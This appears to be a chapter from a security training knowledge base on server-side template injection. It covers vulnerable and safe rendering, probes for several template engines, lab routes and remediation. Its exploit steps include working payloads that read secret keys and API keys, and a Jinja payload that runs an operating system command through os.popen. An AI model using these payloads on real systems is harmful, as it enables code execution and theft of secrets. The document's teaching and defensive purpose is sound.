Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter III - Web / 08. SSTI

SSTI

Server-Side Template Injection happens when attacker-controlled input is rendered as a server-side template.

The primitive is template evaluation. The application intends to treat input as text, but the template engine treats that input as template code. That can expose variables, application configuration, framework internals, and in some engines, code execution primitives.

SSTI is template-engine specific. Jinja, Twig, Freemarker, Velocity, ERB, Handlebars, and other engines have different syntax and different impact paths. The testing process is the same: prove that the server evaluates template syntax from the request.

The important distinction is whether user input becomes template source or template data.

Safe data handling:

render_template_string("Hello {{ name }}", name=user_supplied_name)

If user_supplied_name is {{ 7 * 7 }}, the output is literally {{ 7 * 7 }}. Jinja does not render variable values a second time.

Vulnerable template-source handling:

template = "Hello " + user_supplied_name
render_template_string(template)

If user_supplied_name is {{ 7 * 7 }}, the template engine evaluates it and the output contains 49.

That is the core boundary. SSTI happens when the attacker controls the template source, not merely when attacker-controlled text is displayed inside a template.

In this lab, the expected results are:

/ssti/basic      {{ 7 * 7 }} evaluates to 49
/ssti/blacklist  {{ 7 * 7 }} evaluates to 49 because the blacklist is bypassable
/ssti/better     {{ 7 * 7 }} still evaluates to 49 because sandboxing is not the fix
/ssti/better     {{ profile.api_key }} leaks a context value
/ssti/fixed      {{ 7 * 7 }} prints literally

The fixed route is the only route where {{ 7 * 7 }} should not evaluate.

Common SSTI sinks include:

  • Email template previews
  • Invoice builders
  • Report generators
  • Notification templates
  • PDF generation features
  • CMS page builders
  • Admin-configurable templates
  • Theme editors
  • Support response macros
  • User-controlled document templates

Common abuse scenarios include:

  • Reading template context variables
  • Reading application configuration
  • Reading secrets accidentally passed into templates
  • Accessing framework objects
  • Reaching filesystem or command execution primitives in dangerous engines
  • Chaining with file write, upload, or admin template editors

When enumerating SSTI opportunities, identify:

  • Inputs reflected after server-side rendering
  • Features that let users customize templates
  • Preview features for emails, invoices, reports, or notifications
  • Admin panels that store template text
  • Error messages from template engines
  • Whether arithmetic expressions evaluate
  • Which template syntax is supported
  • Which variables are present in the template context
  • Whether sandboxing is enabled

Types

Basic SSTI evaluates template expressions from user input.

{{ 7 * 7 }}

Context disclosure happens when the template can read variables the application passed into rendering.

{{ config }}
{{ profile.api_key }}

Sandbox escape happens when a template engine sandbox is present but can still be bypassed or has dangerous objects exposed to it.

engine-specific

Code execution happens when the template engine exposes a path to language or operating system primitives.

engine-specific

Do not assume every SSTI is command execution. Impact depends on the engine, version, configuration, and exposed context.

Do not assume sandboxing removes SSTI. A sandboxed template still evaluates template syntax. Sandboxing reduces what the template can access. If sensitive values are passed into the context, a sandboxed template can still disclose them.


Enumeration

Start with harmless markers:

ootw-ssti-test
{{ 7 * 7 }}
${7*7}
<%= 7 * 7 %>
#{7*7}

If the response contains 49, the input is probably being evaluated by a template engine.

Jinja probes:

{{ 7 * 7 }}
{{ "ootw".upper() }}
{{ config }}
{{ request }}

Twig probes:

{{ 7 * 7 }}
{{ _self }}

ERB probes:

<%= 7 * 7 %>

Compare:

  • Raw marker output
  • Evaluated arithmetic
  • Template syntax errors
  • Missing variable errors
  • Framework object names
  • Rendered configuration values
  • Changes between normal user and admin template preview features

Interesting findings include:

  • {{ 7 * 7 }} returning 49
  • Template error messages naming Jinja, Twig, Freemarker, or another engine
  • Application config values in the output
  • Context variables such as request, session, config, or profile
  • Sandbox errors after accessing restricted attributes
  • User template text stored and rendered later

Once evaluation is confirmed, map the context. Find what objects are exposed before jumping to engine-specific impact payloads.


Exploit

  1. Confirm normal rendering.
Hello operator
  1. Confirm expression evaluation.
{{ 7 * 7 }}
  1. Identify the engine through syntax and errors.
{{ "ootw".upper() }}
  1. Enumerate exposed context.
{{ config }}
{{ request }}
{{ profile }}
  1. Prove useful impact with a scoped value.
{{ config["SECRET_KEY"] }}
{{ profile.api_key }}
  1. In a controlled lab, prove deeper impact only when the lesson requires it.
{{ cycler.__init__.__globals__.os.popen('id').read() }}
  1. Stop once impact is proven.

The exploit is not the braces. The exploit is proving that user-controlled input became server-side template code.

In the lab, the vulnerable field is Name. The application builds a template source string from that value before rendering it. The fixed route uses the same Name value as data, so the same payload prints literally.


Remediation

Patch SSTI by separating templates from data:

  • Do not render user input as a template.
  • Keep templates server-owned.
  • Pass user input into templates as data.
  • Use allowlisted template IDs when users can choose a layout.
  • Avoid exposing sensitive objects to templates.
  • Keep config, request internals, secrets, and powerful objects out of user-editable templates.
  • Treat template sandboxing as defense-in-depth, not the primary boundary.
  • Disable dangerous template features where possible.
  • Log template syntax errors and suspicious template markers.

Safe pattern:

SAFE_TEMPLATES = {
    "receipt": "Hello {{ name }}, order {{ order_id }} is ready.",
}

template = SAFE_TEMPLATES.get(template_id)
render_template_string(template, name=user_supplied_name)

The user can control name. The user cannot control the template source.